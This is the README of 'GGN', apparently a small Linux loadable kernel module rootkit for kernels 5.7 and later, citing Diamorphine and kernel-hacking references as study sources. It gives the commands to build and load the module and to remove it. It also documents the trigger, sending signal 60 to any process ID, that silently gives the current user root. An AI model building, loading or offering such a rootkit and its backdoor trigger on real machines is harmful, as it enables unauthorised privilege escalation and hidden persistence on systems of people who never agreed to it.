Readme.md

GGN

Simple LKM rootkit for linux kernel >= 5.7

Sending signal 60 to any pid gives root to the current user

Tested on 5.13.4-arch1-1

Initializing

make
insmod ggn.ko

Getting root

kill -60 123123

Removing

rmmod ggn

Study References

Diamorphine

Linux Kernel Hacking - Blog

The Linux Kernel - Credentials in Linux